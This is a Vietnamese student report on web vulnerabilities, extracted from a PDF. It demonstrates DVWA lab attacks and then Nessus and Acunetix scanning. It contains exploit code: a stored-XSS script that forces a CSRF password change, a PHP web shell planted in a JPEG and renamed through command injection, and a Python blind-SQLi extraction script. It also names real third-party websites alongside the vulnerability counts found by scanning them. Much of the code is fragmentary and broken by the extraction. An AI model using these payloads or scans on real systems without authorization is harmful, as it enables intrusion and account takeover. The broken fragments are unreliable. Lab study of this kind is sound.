DEMO BÀI TẬP Ở LAB DVWA.Điều làm cho lỗ hổng này có thể là tự động hoá hành động, hành động này được thực hiện bởi các quản trị viên ứng dụng.. Đối với loại lỗ hổng này, nạn nhân là ngườ
Trang 1WEB VULERABILITY SCAN
GVHD Ths Huỳnh Thanh Tâm
Trang 2A DEMO BÀI TẬP Ở LAB DVWA.
Điều làm cho lỗ hổng này có thể là tự động hoá hành động, hành động này được thực hiện bởi các quản trị viên ứng dụng Đối với loại lỗ hổng này, nạn nhân là người dùng được chứng thực của ứng dụng và CSRF cho phép họ tự động hóa một số hành động mà họ có thể làm
Ví dụ, một quản trị viên, trong bảng điều hành, người có thể xóa một bài viết, chỉ bằng cách bấm vào một liên kết, hoặc password ở 1 forum của bạn đang đăng nhập bị thay đổi.(Attacker đã giả mạo hành động của bạn để thayđổi password của bạn trong lúc bạn vẫn lướt website nào đó.)
2 GIỚI THIỆU XSS STORED:
XSS là gì?
XSS viết tắt của Cross Site Scripting XSS có thể là một lỗ hổng phổ biếnnhất Lỗ hổng này ảnh hưởng về phía client(người dùng), chính xác hơn là
Trang 3những người dùng của những ứng dụng web bị lỗi Nó không quá nguy hiểmđối với ứng dụng web nhưng nó có thể dẫn đến nhiều vấn đề
Ví dụ nó có thể sử dụng để lừa đảo, đánh cắp thông tin đăng nhập của victim(nạn nhân) sau đó dùng thông tin đăng nhập đó một cách bất hợp pháphoặc XSS có thể làm thay đổi giao diện của ứng dụng web một cách bất hợp pháp,…
…)
Hướng khai thác:
+ Bước 1: Attacker phải thực hiện chèn đoạn mã nguy hiểm vào các template đầu vào không được kiểm tra chặt chẻ (ví dụ: thẻ input tiêu đề của một bài viết trên một diễn đàn, những form, input, textarea,… trước khi nó lưu vào cơ sở dữ liệu)
+ Bước 2: Những người dùng khác trên ứng dụng web đó tương tác với dữ liệu ở đã được lưu trữ của attacker (ví dụ: người dùng khác click vào tiêu đề của 1 bài viết của attacker trên forum) thì đoạn mã sẽ được thực hiện dẫn đến mục đích của attacker đã thành công
3 DEMO LAB DVWA:
Ứng dụng XSS Stored để thực hiện CSRF ở DVWA mức high
*Thu thập thông tin ở site CSRF:
+ Có 1 thẻ input bị hidden có name là user_token
Mục đích của user_token là kiểm tra xem hành động tiếp theo
có phải là của client (người dùng đang dùng trên site đó không) User_token gồm có 2 phần giống nhau, 1 phần lưu trên 1 thẻ bị hiddencủa trình duyệt còn 1 phần sẽ lưu ở server để check hành động tiếp
Trang 4theo có phải của người dùng đang trực tiếp trên site mình đang dùng hay không, mỗi lần load lại trang thì user_token sẽ thay đổi theo ngẫu nhiên, ở đây gồm có 32 kí tự sinh ngẫu nhiên, dẫn đến mỗi hành động request sẽ check 1 lần.
gói request một hành động thay đổi password để kiểm tra trình duyệt
đã request lên server những gì:
+ Sau khi nhấn vào button Change thì browser đã request lên server 4 param theo phương thức GET, đó là password_new,
password_conf, Change, user_token
*Hướng tấn công CSRF:
- Viết đoạn code, thực hiện load site CSRF:
/DVWA/vulnerabilities/csrf/index.php sau đó lấy 1 value của thẻ inputhidden user_token lưu vào một biến
- Sau khi có user_token chúng ta Request lên server theo
phương thức GET 4 param là password_new, password_conf, Change,user_token
- Thực hiện XSS Stored để lưu trữ một hình ảnh hoặc đường link để người dùng click vào đoạn code sẽ được thực hiện
*Thực hiện:
- Code:
Trang 5- Ứng dụng XSS Stored mức low để lưu vào một đường link dẫn đến đoạn code script, khi có người dùng khác click vào link thì password của người đó bị thay đổi.
+ Tiêu đề <a href='#' onclick="myfunc()">DANH SACHTANG LUONG</a>
+ Message:
<script src="http://34.215.48.0/xss2.js">
</script>
- Sau đó đợi victim click vào link đã lưu Password của victim
sẽ bị thay đổi thành password của mình
regex = /value=\' ([ a-z0-9 ] {32} ) \'/ i ;
group = content match ( regex );
xmlhttp open ( "GET" , "http://34.215.48.0/DVWA/vulnerabilities/csrf/?
user_token=" + key + "&password_new=" + password + "&password_conf=" + password + "&Change=Change" , false ); xmlhttp setRequestHeader ( "Content-type" , "application/x-www-form-urlencode" );
xmlhttp send ();
return key ;
}
var key = mainfunc ();
changepwd ( key , 'letrongmanh' );
}
Trang 6II DEMO FILE UPLOAD + COMMAND INJECTION
- Các tệp được tải lên biểu thị một nguy cơ đáng kể cho các ứng dụng Bước đầu tiên trong nhiều cuộc tấn công là chèn một số mã độc vào hệ thống để tấn công Sau đó, cuộc tấn công chỉ cần tìm cách để có được mã thực hiện
Sử dụng tệp tải lên (file upload) giúp kẻ tấn công hoàn thành bước đầu tiên
- Hậu quả của việc tải lên tệp không hạn chế (không kiểm tra) có thể khác nhau, bao gồm việc chiếm toàn bộ hệ thống, hệ thống tệp tin hoặc cơ sở dữ liệu bị quá tải, tấn công chuyển tiếp tới các phá hoại hệ thông, các cuộc tấn công từ phía khách hàng hoặc lừa đảo đơn giản Nó phụ thuộc vào những gì ứng dụng làm với các tập tin tải lên và đặc biệt là nơi nó được lưu trữ
- Ví dụ: Sử dụng hình ảnh để làm hình ảnh đại diện Việc ứng dụng không kiểm tra đó là file ảnh, không hạn chế hay kiểm tra lỏng lẽo thì người tấn công(attacker) có thể tải lên các file chứa mã độc như php, sau đó khai thác
ở server, leo thang đặc quyền, phá hoại hệ thống,…
- Command injection là những tấn công mà trong đó mục tiêu là thực hiện cáclệnh tùy ý trên hệ điều hành máy chủ (server) thông qua một ứng dụng dễ bị tổn thương Các cuộc tấn công command injection có thể xảy ra khi một ứngdụng chuyển dữ liệu không an toàn do người dùng cung cấp (biểu mẫu, cookie, tiêu đề HTTP vv) sang system shell Trong cuộc tấn công này, các lệnh hệ điều hành cung cấp bởi kẻ tấn công thường được thực hiện với các đặc quyền của ứng dụng dễ bị tổn thương Các cuộc tấn công command injection có thể là do việc kiểm tra đầu vào không đầy đủ
- Thông thập thông tin, phân tích lab:
Trang 7Kết quả nhận được đó là chỉ được upload những file ảnh, Sau đó upload thử những file php.jpeg, hoặc mine của file vẫn không được chấp nhận từ phía server
Upload file jpeg bình thường
Kết quả là được chấp nhận và, file được lưu ở thư mục
/ /hackable/uploads/ với tên đúng với tên file ảnh upload lên
Phân tích source code:
$target_path = DVWA_WEB_PAGE_TO_ROOT "hackable/uploads/" ;
$target_path = basename ( $_FILES [ 'uploaded' ][ 'name' ] );
Nơi lưu trữ file.
$uploaded_ext = substr ( $uploaded_name , strrpos ( $uploaded_name , '.' ) + 1 )
Cắt chuỗi tên file và lấy phần extension.
Trang 8if( ( strtolower ( $uploaded_ext ) == "jpg" || strtolower ( $uploaded_ext ) == "jpeg" || strtolower ( $up loaded_ext ) == "png" )&&( $uploaded_size < 100000 ) && getimagesize ( $uploaded_tmp ) )
Kiểm tra dữ liệu nhập vào Chỉ cho phép như file có phần đuôi là jpg hoặc jpeg hoặc png Kích thước nhỏ hơn 100000 byte Xác định kích thước của bất kì tập tin hình ảnh nào được hỗ trợ(getimagesize)
*Hướng tấn công:
- Dùng tool jhead để thay chèn code php vào phần comment của 1 bứcảnh jpeg Server sẽ không kiểm tra được phần comment bức ảnh có code php hay không
- Dùng Command Injection đến thư mục chứa file đã upload để đổi tên file đó thành đuôi php
*Thực hiện tấn công:
- Dùng jhead -ce image.JPG để chèn code php vào file image
Tham khảo thêm: appending-php-code-to-an-image.html
https://phocean.net/2013/09/29/file-upload-vulnerabilities-Code php:
được chèn lên server
- Dùng Command Injection thay đổi tên file vừa upload
*Phân tích source code Command Injection mức high:
<?php
if ( isset ( $_REQUEST [ 'cmd' ]))
system ( $_REQUEST [ 'cmd' ]);
?>
Trang 9Ở đây, các kí tự để nối các câu lệnh trong linux bị lọc đi Ví dụ
&&, ‘;’,… nhưng để ý thật kĩ thì chúng ta thấy '| ' bị lọc đi chứ Đằng sau |
có khoảng trắng nên t có thể inject bằng | không có khoảng trắng
Thực hiên đổi tên: 8.8.8.8|mv / /hackable/uploads/images.jpg / /hackable/uploads/images.php
Trang 101. GIỚI THIỆU SQLI BLIND:
SQLi Blind là một phương thức tấn công SQL injection bằng đoán các kí
tự của dữ liệu attacker cần bằng cách truy vấn các câu truy vấn đúng hoặc sai Đúng trả về một kết quả, sai trả về một quả sai
Tham khảo thêm: SQL-Injection.html
*Thu thập thông tin:
- Khi access site ta nhận được 1 link liên kết:
- Ở đây, site có chức năng, nên ta thực hiện test các chức năng Đối với labSQLi Blind này, ta nên dùng các tools để bắt các gói request lên server
- Submit với id=1, thì thấy ở site chính báo User ID exists in the database, và cookie của gói request có thêm 1 giá trị là id=1
- Test với những điều kiện kiểm tra có dính lỗi SQLi hay không thì
ta nhận được:
Trang 111' and 1=1# chúng ta nhận được kết quả User ID exists in the database.
1' and 1=0# chúng ta nhận được kết quả là: User ID is MISSING from the database
Đây là SQLi Blind Blind ở đây sẽ nằm ở phía Cookie
*Hướng tấn công:
Viết code để Blind(Đoán) lần lượt các kí tự trong dữ liệu
*Thực hiện DEMO mức high:
- Code:
import httplib,urllib2,urllib
url = "http://34.215.48.0/DVWA/vulnerabilities/sqli_blind/index.php"
Trang 12cookie= "security=high; SL_lng_to=vi; SL_lng_from=auto; SLloc=false;
PHPSESSID=hamkpb8kf5vk66acbohlbt43b6;"
Referer= "http://34.215.48.0/DVWA/security.php"
MSG_OK= "User ID exists in the database."
MSG_ERROR= "User ID is MISSING from the database."
def go ( payload ):
try :
req= urllib2.Request(url)
COOKIE=cookie+ "id=1' and %s #" %payload
req.add_header( "Cookie" ,COOKIE)
req.add_header( "Referer" ,Referer)
Trang 13payload = "ascii(substring( %s , %d ,1))= %d " %(payload1,k,m)
Trang 14print "1.Blind Version."
print "2.Blind Name Database."
print "3.Blind Table."
print "4.Thoat."
n= int ( raw_input ( "Please choose 1->4:" ))
if n== 1 :
lengthVersion = length( "@@version" )
print "Chieu dai cua Version: %d " %lengthVersion
#name
nameVersion= name( "@@version" ,lengthVersion)
print "Ten Version: %s " %nameVersion
elif n== 2 :
lengthDatabase = length( "database()" )
print "Chieu dai cua Database: %d " %lengthDatabase
#name
nameDatabase= name( "database()" ,lengthDatabase)
print "Ten Database: %s " %nameDatabase
elif n== 3 :
countTable= countTable(nameDatabase)
datalength=[]
for i in range ( 0 ,countTable+ 1 ):
lengthTable=length( "(select table_name from information_schema.tables where table_schema='" + str (nameDatabase)+ "' limit %d ,1)" %i)
print "Chieu dai bang thu %d la: %d " %(i,lengthTable)
datalength.append(lengthTable)
print datalength
dataName=[]
for i in range ( 0 ,countTable+ 1 ):
nameTable= name(( "(select table_name from information_schema.tables where table_schema='" + str (nameDatabase)+ "' limit %d ,1)" %i),datalength[i])
Trang 16B CÁC CÔNG CỤ KHAI THÁC LỖ HỔNG
CÀI ĐẶT NESSUS TRÊN UBUNTU
- Link cài đặt : operating-system#tos
https://www.tenable.com/products/nessus/select-your Nessus là Web App, cần tải về và chạy trên Web Browser
Mình có bản ubuntu 16.04 amd64 , nên download bản này:
- Gõ lệnh: sudo dpkg -i Nessus*.deb để cài đặt
Trang 17Sau khi thực hiện lệnh cài đặt, ta có 2 hướng dẫn tiếp theo
o Start nessus:sudo /etc/init.d/nessusd start
o Tiếp tục cấu hình nessus trên trình duyệt, chọn “Advanced”
Trang 19Sau đó, Nessus yêu cầu ta phải đăng kí để lấy được mã kích hoạt
Trang 21sau khi download hoàn tất ta thực hiện install Nessus
Trang 22CÀI ĐẶT NESSUS TRÊN WINDOWS 7
Những bước tiếp theo tương tự như cái đặt trên Ubuntu
Sau khi cài đặt xong, đăng nhập và bắt đầu scan web với Nessus
Trang 23Tại mục setting ta điền vào mục Name chọn Folder và điền Target là trang web muốn scan, VD như hình ta scan website “lanashop.vn”
Tại mục Credentials, đối với Scan Web Application, chúng ta có thể chọn
Trang 24trước đó đăng kí hoặc đăng nhập vào web “lanashop.vn” lấy ra file
cookies.txt
***Cách lấy được file “cookies.txt”: add tiện ích cookies.txt ở Chrome
Mỗi khi đăng nhập hoặc đăng kí ở 1 trang web nào, sẽ có 1 file cookies ở trang web đó, nhấp vào icon cookies ở phía trên bên phải trình duyệt
Add file “cookies.txt” vào Cookies file (nếu chọn HTTP cookies import) và
chọn Save
Trang 25Nessus có thể scan 1 hoặc nhiều network (Scanner -> Basic Network Scan)
Trang 26First Demo ta scan máy ảo Win 7 có địa chỉ ip 192.168.40.52
Chúng ta có thể đặt lịch scan định kì
Trang 27Cấu hình các Ping method
Tùy chọn “Scan type”
Trang 29Xác thực các giao thức (port)
Nhấp vào iểu tượng launch để bắt đầu scan
Trang 30Sau khi scan xong, Nessus hiển thị các lỗ hỗng với các mức độ tương ứng
Nessus hỗ trợ xuất Report với các định dạng : html, Nessus, CSV,
NessusDB
Scanning
Trang 31Result
Trang 32II. ACUNETIX WEB VULNERABILITY SCAN
1. Tổng quan về Acunetix
Hiện nay các cuộc tấn công mạng chủ yếu được thực hiện thông qua các ứng dụng web hoặc các website, do đó cách duy nhất để chống lại nhữngcuộc tấn công này là phát triển ra một công cụ tự động có thể quét ra những
lỗ hổng của các website, web application từ đó xác định và giải quyết các lỗ hổng có thể bị hacker khai thác
Năm 2005, Acunetix Web Vulnerability Scanner được ra đời, một công cụ được thiết kế dựa trên việc tái tạo lại các phương pháp tấn công củacác hacker để tìm các lỗ hổng nguy hiểm như SQL injection, cross site scripting và hàng ngàn lỗ hổng khác Một thập kỷ sau đó thì Acunetix
Vulnerability Scanner đã trở thành sự lựa chọn hàng đầu cho nhiều khách hàng trong các lĩnh vực chính phủ, quân sự, giáo dục, viễn thông, ngân hàng,tài chính và thương mại điện tử …
Acunetix Vulnerability Scanner phát hiện và báo cáo một loạt các lỗ hổng trong các ứng dụng được xây dựng trên kiến trúc như WordPress, PHP, ASP.NET, …
Acunetix cho phép bạn quét 1 website và liệt kê ra list các lỗ hổng mà website có thể bị khai thác, giúp các chuyên gia an ninh dễ dàng đánh giá lỗ hổng, sửa chữa và phát hiện các mối đe dọa về việc bị tấn công
Trang 332. Sử dụng Acunetix
- Giao diện chính của Acunetix
- Để quét lỗ hổng của 1 website chọn New Scan và đánh địa chỉ trang web muốn quét vào trường Website URL => Next
Trang 34- Tại trường Scanning profile là các lỗ hổng có thể mắc phải, nếu muốn
tập trung quét 1 loại lỗ hổng nào đó thì sẽ chọn, nếu muốn quét hết tổng
thể website xem mắc những lỗ hổng nào thì chọn default => Next.
Kết quả sau khi scan, Acunetix trả về list các lỗ hổng có thể bị khai
thác trong trường Web alerts, khi click chuột vào mỗi lỗ hổng ta sẽ nhận
được phần mô tả về lỗ hổng đó và nơi lỗ hổng tồn tại ở phân vùng bên phải,
Trang 35Như trong ví dụ trên ta scan website www.nhuaphucthinh.com Tại mục
Web Alert ta thấy một danh sách các lỗ hổng và vị trí của chúng được liệt kê, cụ
thể đó là Blind SQL Injection có 6 vị trí, Cross Site Scripting(XSS) có 4 vị trí, SQL
Injection có 4 vị trí
Acunetix cung cấp chính xác vị trí các lỗ hổng và loại lỗ hổng giúp người lập trình dễ dàng kiểm tra và sửa các lỗi lập trình để tối ưu hóa website của mình, tránh được chủ đích tấn công của người khác